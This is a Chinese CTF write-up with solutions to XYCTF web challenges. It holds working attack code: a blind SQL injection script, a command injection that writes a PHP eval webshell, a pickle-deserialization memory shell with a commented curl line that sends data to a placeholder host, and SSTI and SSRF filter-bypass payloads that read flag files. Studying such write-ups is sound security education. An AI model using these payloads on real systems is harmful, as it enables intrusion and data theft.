XYCTF
ez_puzzle
简单玩一玩,可以发现打通后会弹一个窗口,我们搜游一下alert可以发现只有两个alert代码

运行第二个alert可以发现其是失败后的弹窗那么第一个应该就是flag的了
ctrl+s将源码扒下来,改一下alert的判断条件
把小于号改成大于,再打通一次即可。
ezsql
在登陆处发现sql注入,简单验证一些发现其过滤了空格,逗号之类的,使用括号来过滤空格,而因为无法使用逗号,所以直接使用盲注
payload1
admin'or(sleep(ascii(mid((select database())from(1)for(1)))>108))#

当条件成立会时延1s写脚本直接爆

爆出double_check为
dtfrtkcc0czkoua9S
账号密码为
yudeyoushang
zhonghengyisheng1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33import requests
import time
import json
url = "http://eci-2zefzg22buvmrl7v0z2n.cloudeci1.ichunqiu.com:80"
flag = ""
for i in range(1, 18):
low = 32
high = 128
mid = (low + high) >> 1
while low < high:
#payload = "admin'or(sleep(ascii(mid(database()from({})for(1)))>{}))#".format(i, mid)
#payload="admin'or(sleep(ascii(mid((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database()))from({})for(1)))>{}))#".format(i, mid)
#payload="admin'or(sleep(ascii(mid((select(group_concat(column_name))from(information_schema.columns)where(table_schema=database()))from({})for(1)))>{}))#".format(i, mid)
payload="admin'or(sleep(ascii(mid((select(password)from(user))from({})for(1)))>{}))#".format(i, mid)
start_time = time.time()
r = requests.post(url, data=datas,verify=False)
#print(r.text)
end_time = time.time()
#print(end_time - start_time)
if end_time - start_time > 1:
low = mid + 1
else:
high = mid
mid = (low + high) // 2
if (mid == 32 or mid == 127):
break
flag += chr(mid)
print(flag)
print(flag)

登陆后会要求进行双重验证,我们都爆出来了
登陆后是一个无回显的命令执行,其过滤了空格我们使用$IFS$9来进行代替还有一些关键词绕过我们使用反斜杠来绕过,然后直接写马
1 | command=ec\ho$IFS$9'<?=eval($_POST[123])?>'>/var/www/html/sell.ph\p |
Signin
1 | from bottle import Bottle, request, response, redirect, static_file, run, route |
我们看一些get_cookie的源码可以发现其是使用pickle.loads来对数据进行反序列化的,而ser_cookie就使用pickle.dumps来序列化的,那么只要我们得到key,加密一个恶意的pickle序列化内容就可以进行rce了
/download存在一个文件下载,我们使用./.././../这种方法可以实现目录穿透,读取key
然后拿到key来进行cookie的生成
直接打内存马1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27from bottle import route, run,response
import os
sekai = "Hell0_H@cker_Y0u_A3r_Sm@r7"
class exp():
def __reduce__(self):
# cmd = "curl http://x.x.x.x:7777/123?res=`ls -la /|base64 -w 0`"
cmd = "route(\"/shell\",\"GET\",lambda :__import__('os').popen(request.params.get('lalala')).read())"
return (exec, (cmd,))
def index():
try:
#session = {"name": "admin"}
session = exp()
response.set_cookie("name", session, secret=sekai)
return "success"
except:
return "pls no hax"
if __name__ == "__main__":
os.chdir(os.path.dirname(__file__))
run(host="0.0.0.0", port=5003,debug=True)
Now you see me 1
1 | # YOU FOUND ME ;) |
首先一眼可以看出其为ssti,使用#},使用{%%}来绕过{{}},而我们看黑名单并没有直接禁止request,那么我们简单来跑一下黑名单没有禁的request类1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43import flask
def filter_allowed_attributes(attributes, lock_within):
"""
过滤属性列表,返回不包含任何黑名单字符串的属性
:param attributes: 待过滤的属性列表
:param lock_within: 黑名单列表
:return: 允许使用的安全属性列表
"""
allowed = []
for attr in attributes:
if not any(banned in attr for banned in lock_within):
allowed.append(attr)
return allowed
# 黑名单定义
lock_within = [
"debug", "form", "args", "values",
"headers", "json", "stream", "environ",
"files", "method", "cookies", "application",
'data', 'url', '\'', '"',
"getattr",
"[", "]", "\\", "/", "self",
"lipsum", "cycler", "joiner", "namespace",
"init", "join", "decode",
"batch", "first", "last",
" ", "dict", "list", "g.",
"os", "subprocess",
"GLOBALS", "lower", "upper",
"BUILTINS", "select", "WHOAMI", "path",
"os", "popen", "cat", "nl", "app", "setattr", "translate",
"sort", "base64", "encode", "\\u", "pop","_",
"Isn't that enough? Isn't that enough."]
# 示例:从Flask的request对象获取属性列表(实际使用时替换为真实属性列表)
request_attributes = dir(flask.Request) # 这里需要替换为实际的request对象
# 过滤并打印安全属性
safe_attributes = filter_allowed_attributes(request_attributes, lock_within)
print("允许使用的安全属性:")
for attr in safe_attributes:
print(attr)
可以发现其可以使用1
2
3
4
5
6
7
8
9
10authorization
blueprint
blueprints
date
endpoint
mimetype
origin
pragma
range
referrer
而其中1
2
3
4
5authorization
referrer
pragma
origin
mimetype
是我们完全可控的,那么我们就可以利用这5个请求头来进行绕过
1 | GET /H3dden_route?My_ins1de_w0r1d=Follow-your-heart-%23%7D{%print(a|attr(request.authorization.username)|attr(request.pragma|attr(request.authorization.password)(0))|attr(request.authorization.password)(request.origin)(request.mimetype))%}%7B%23 HTTP/1.1 |
而删对os.system这种的删除我们直接使用最早学ssti的继承链即可绕过''.__class__.__base__.__subclasses__()[137].__init__.__globals__['popen']("dd if=/flag_h3r3 bs=1 skip=10000000 count=20000000 2>/dev/null|base64").read()
Now you see me 2
这题和上一题的区别是禁了更多的request下的类,再我的仔细观察下发现range没有被禁
而range是获取Range头的内容,但是Range头需要有固定格式xxx=1-100象这样的格式。而我们可以使用jinja2的String和random过滤器来获取其随机一个字符,从而来获取我们想要的字符。我们只要获取到args就可以使用attr来获取request.args这个类,然后使用request.args来绕过waf即可
这里我使用config来作为中间变量来将获取到的字符之类的塞到config里,但是我们无法使用g.xxx,所以我们使用{%set%0Aa=config%}来先进行赋值(换行符来代替空格)将config赋值给a然后修改a即可
1 | GET /H3dden_route?spell=fly-%23%7D{%set%0Aa=config%}{%set%0Ab=(a.update(a=(request.range|string|random)))%} HTTP/1.1 |
使用上面的poc来获取a,同理得到r,g,s
然后使用1
2
{%set%0Aa=config%}{%set%0Ab=(a.update(ree=(request|attr(a.re))))%}{%set%0Ab=(a.update(g=(request.range|string|random)))%}{%print(a.ree.X2)%}%7B%23&X2=adws
来获取request.args然后就简单了
1 | GET /H3dden_route?spell=fly-%23%7D{%set%0Aa=config%}{%set%0Ab=(a.update(ree=(request|attr(a.re))))%}{%print(a|attr(a.ree.X1)|attr(a.ree.X2)|attr(a.ree.X3)|attr(a.ree.X4)(a.ree.X5)|attr(a.ree.X4)(a.ree.X6)(a.ree.X7))%}%7B%23&X1=__class__&X2=__init__&X3=__globals__&X4=__getitem__&X5=__builtins__&X6=exec&X7=a=eval("''.__class__.__base__.__subclasses__()[137].__init__.__globals__['popen']('').read()");setattr(__import__('sys').modules['werkzeug'].serving.WSGIRequestHandler,"server_version",str(a) |
因为不回显而且好像检测了路由添加,所以使用请求头回显。
出题人已疯
1 |
|
看眼源码可以发现其是ssti但是限制了长度,且禁了open等
一开始我是想到使用rebase或者include这两个模板函数来文件读取,但是这两个函数课读取的目录是被官方写死的,怎么绕能不能绕,我懒得调。所以就想能不能有一个中间变量来进行写入从而绕过长度限制
于是我想到了__builtins__,在flask的ssti中我们使用{{}}是无法对__builtins__进行赋值的但是因为这是bottle框架我们可以使用%来执行python命令。
所以我们可以使用如下来进行赋值1
2attack?payload=%0A%__builtins__['x']='op'
attack?payload=%0A%__builtins__['y']='en'
因为bottle框架模板的环境就是__builtins__所以我们赋值的xy可以直接访问到如下
那么我们就可以用如下来赋值出open
1 | attack?payload=%0A%__builtins__['e']=eval |
如果想的话也可以慢慢拼出rce
出题人已疯2
打的时候其实有想到用斜体字符来绕,结果本地测的时候发现不行也每去多想,干看了一下wp,妹的原来是在url解析的时候会出问题,得把编码的%C2給删了1
/attack?payload={{%BApen(%27/flag%27).re%aad()}}
WEB-Fate
1 | #!/usr/bin/env python3 |
这题卡在最后的格式化字符串漏洞了,第一次遇到这样的打法,还是学到了
前面的ssrf吧点和字母给禁了,那么可以使用10进制来绕,而payload是拼接到域名后面的所以我们可以加个@来绕过去,再看docker-compose.yaml可以发现其端口为8080
1 | proxy?url=@2130706433:8080/1337 |
然后就是code要为abcdefghi这里可以使用双重url来绕
最后就是binary_to_string来讲二进制转为str,我们通过binary_to_string来写一个str_to_bin1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29import json
import requests
def string_to_binary(input_string):
binary_list = []
for char in input_string:
# Get the ASCII code, convert to binary, zero-pad to 8 digits
binary_char = format(ord(char), '08b')
binary_list.append(binary_char)
return ''.join(binary_list) # Join with spaces for readability
def binary_to_string(binary_string):
if len(binary_string) % 8 != 0:
raise ValueError("Binary string length must be a multiple of 8")
binary_chunks = [binary_string[i:i + 8] for i in range(0, len(binary_string), 8)]
string_output = ''.join(chr(int(chunk, 2)) for chunk in binary_chunks)
return string_output
# Example usage:
text = '{"name":NaN}'
binary = string_to_binary(text)
print(binary) # Output: "01001000 01100101 01101100 01101100 01101111"
req=binary_to_string('0111101100100010011011100110000101101101011001010010001000111010001000100010001001111101')
print(json.loads(text)['name'])
print(len(json.loads(text)['name']))
最后就是那个格式化字符串的问题了,因为其是通过f'{code}'来传值的,这么传即使传入的为数组也会被转为字符串,即数组["asdwd","asdw"]会被转为字符串["asdwd","asdw"],list
json数组只要为{"name":["1'))))))) UNION SELECT FATE FROM FATETABLE where name='LAMENTXU'--","1"]}
即可
1 | http://127.0.0.1:5000/1337?0=%25%36%31%25%36%32%25%36%33%25%36%34%25%36%35%25%36%36%25%36%37%25%36%38%25%36%39%261=0111101100100010011011100110000101101101011001010010001000111010010110110010001000110001001001110010100100101001001010010010100100101001001010010010100100100000010101010100111001001001010011110100111000100000010100110100010101001100010001010100001101010100001000000100011001000001010101000100010100100000010001100101001001001111010011010010000001000110010000010101010001000101010101000100000101000010010011000100010100100000011101110110100001100101011100100110010100100000011011100110000101101101011001010011110100100111010011000100000101001101010001010100111001010100010110000101010100100111001011010010110100100010001011000010001000110001001000100101110101111101 |
我记得我本地有有测过数组的但是因为什么原因报错了就没测了。。。。





